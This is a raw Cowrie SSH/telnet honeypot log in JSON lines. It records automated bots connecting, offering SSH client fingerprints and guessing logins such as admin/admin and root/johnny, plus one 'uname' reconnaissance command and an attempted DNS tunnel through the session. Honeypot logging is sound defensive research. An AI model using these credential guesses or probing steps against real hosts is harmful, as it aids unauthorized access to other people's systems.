{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:11.914401Z","src_ip":"2.57.121.25","session":"a51e4bae1139","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43858,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8adcc015efe","protocol":"telnet","message":"New connection: 192.119.13.58:43858 (10.17.0.5:23) [session: a8adcc015efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:12.899563Z"}
{"eventid":"cowrie.session.closed","duration":54.192763328552246,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:19.276695Z","src_ip":"192.119.13.58","session":"5702e56c2ace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3770,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b578f3ab164","protocol":"ssh","message":"New connection: 87.251.64.176:3770 (10.17.0.5:22) [session: 2b578f3ab164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:24.392030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:24.397015Z","src_ip":"87.251.64.176","session":"2b578f3ab164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:24.493447Z","src_ip":"87.251.64.176","session":"2b578f3ab164","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:24.786409Z","src_ip":"87.251.64.176","session":"2b578f3ab164","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:24.885047Z","session":"2b578f3ab164","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:24.983753Z","src_ip":"87.251.64.176","session":"2b578f3ab164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:25.226067Z","src_ip":"87.251.64.176","session":"2b578f3ab164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44124,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c82dcc89fd0","protocol":"telnet","message":"New connection: 192.119.13.58:44124 (10.17.0.5:23) [session: 4c82dcc89fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:27.341261Z"}
{"eventid":"cowrie.session.closed","duration":37.0557062625885,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:33.701134Z","src_ip":"192.119.13.58","session":"ccd13301c7e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.00639271736145,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:33.724672Z","src_ip":"192.119.13.58","session":"7273cc15851b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.051880836486816,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:37.878931Z","src_ip":"192.119.13.58","session":"59933886295e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60270,"dst_ip":"10.17.0.5","dst_port":23,"session":"a52c00512062","protocol":"telnet","message":"New connection: 192.119.13.58:60270 (10.17.0.5:23) [session: a52c00512062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:38.278529Z"}
{"eventid":"cowrie.session.closed","duration":37.168758392333984,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:39.852242Z","src_ip":"192.119.13.58","session":"7de3bf16dfe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":49302,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ac5d2395374","protocol":"ssh","message":"New connection: 43.153.7.148:49302 (159.203.135.109:22) [session: 6ac5d2395374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:42.643681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:42.648752Z","src_ip":"43.153.7.148","session":"6ac5d2395374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:42.717082Z","src_ip":"43.153.7.148","session":"6ac5d2395374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"selenio","message":"login attempt [root/selenio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:43.027795Z","src_ip":"43.153.7.148","session":"6ac5d2395374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.00484228134155,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:43.378557Z","src_ip":"192.119.13.58","session":"4b24176c2310","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54946,"dst_ip":"10.17.0.5","dst_port":23,"session":"98cff6d80e55","protocol":"telnet","message":"New connection: 192.119.13.58:54946 (10.17.0.5:23) [session: 98cff6d80e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:43.976911Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:44.159063Z","src_ip":"43.153.7.148","session":"6ac5d2395374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.5791654586792,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:51.478603Z","src_ip":"192.119.13.58","session":"a8adcc015efe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":26980,"dst_ip":"159.203.135.109","dst_port":22,"session":"f776f6f3b708","protocol":"ssh","message":"New connection: 103.24.63.85:26980 (159.203.135.109:22) [session: f776f6f3b708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:56.042078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:56.046153Z","src_ip":"103.24.63.85","session":"f776f6f3b708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:56.238849Z","src_ip":"103.24.63.85","session":"f776f6f3b708","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:56.846524Z","src_ip":"103.24.63.85","session":"f776f6f3b708","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:57.514659Z","src_ip":"103.24.63.85","session":"f776f6f3b708","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:57.518414Z","src_ip":"103.24.63.85","session":"f776f6f3b708","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:57.716280Z","src_ip":"103.24.63.85","session":"f776f6f3b708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:57.722063Z","src_ip":"103.24.63.85","session":"f776f6f3b708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":60212,"dst_ip":"10.17.0.5","dst_port":22,"session":"6591a5c4f7b8","protocol":"ssh","message":"New connection: 103.27.238.114:60212 (10.17.0.5:22) [session: 6591a5c4f7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:04.096757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:04.102891Z","src_ip":"103.27.238.114","session":"6591a5c4f7b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:04.377792Z","src_ip":"103.27.238.114","session":"6591a5c4f7b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"johnny","message":"login attempt [root/johnny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:05.200274Z","src_ip":"103.27.238.114","session":"6591a5c4f7b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.195611238479614,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:05.536759Z","src_ip":"192.119.13.58","session":"4c82dcc89fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:06.482059Z","src_ip":"103.27.238.114","session":"6591a5c4f7b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48626,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7b6ce3947ef","protocol":"telnet","message":"New connection: 192.119.13.58:48626 (10.17.0.5:23) [session: c7b6ce3947ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:11.778996Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56972,"dst_ip":"10.17.0.5","dst_port":23,"session":"23f07f28f867","protocol":"telnet","message":"New connection: 192.119.13.58:56972 (10.17.0.5:23) [session: 23f07f28f867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:13.856891Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":46924,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e44536815fd","protocol":"ssh","message":"New connection: 87.251.79.125:46924 (159.203.135.109:22) [session: 4e44536815fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:14.232545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:14.242450Z","src_ip":"87.251.79.125","session":"4e44536815fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:14.314956Z","src_ip":"87.251.79.125","session":"4e44536815fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaaaaaa","message":"login attempt [root/aaaaaaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:14.533159Z","src_ip":"87.251.79.125","session":"4e44536815fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:15.608220Z","src_ip":"87.251.79.125","session":"4e44536815fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36370,"dst_ip":"10.17.0.5","dst_port":23,"session":"860c350ac3bf","protocol":"telnet","message":"New connection: 192.119.13.58:36370 (10.17.0.5:23) [session: 860c350ac3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:15.790032Z"}
{"eventid":"cowrie.session.closed","duration":38.366721630096436,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:16.645125Z","src_ip":"192.119.13.58","session":"a52c00512062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42232,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ee637c40283","protocol":"telnet","message":"New connection: 192.119.13.58:42232 (10.17.0.5:23) [session: 8ee637c40283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:17.348290Z"}
{"eventid":"cowrie.session.closed","duration":6.0432188510894775,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:17.822088Z","src_ip":"192.119.13.58","session":"c7b6ce3947ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51734,"dst_ip":"10.17.0.5","dst_port":23,"session":"500838f0c868","protocol":"telnet","message":"New connection: 192.119.13.58:51734 (10.17.0.5:23) [session: 500838f0c868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:19.831805Z"}
{"eventid":"cowrie.session.closed","duration":0.01238560676574707,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:19.844071Z","src_ip":"192.119.13.58","session":"500838f0c868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54644,"dst_ip":"10.17.0.5","dst_port":23,"session":"42648e2d5a4d","protocol":"telnet","message":"New connection: 192.119.13.58:54644 (10.17.0.5:23) [session: 42648e2d5a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:20.552537Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":32958,"dst_ip":"159.203.135.109","dst_port":22,"session":"217483975cac","protocol":"ssh","message":"New connection: 43.153.7.148:32958 (159.203.135.109:22) [session: 217483975cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:21.988732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:21.994895Z","src_ip":"43.153.7.148","session":"217483975cac","protocol":"ssh"}
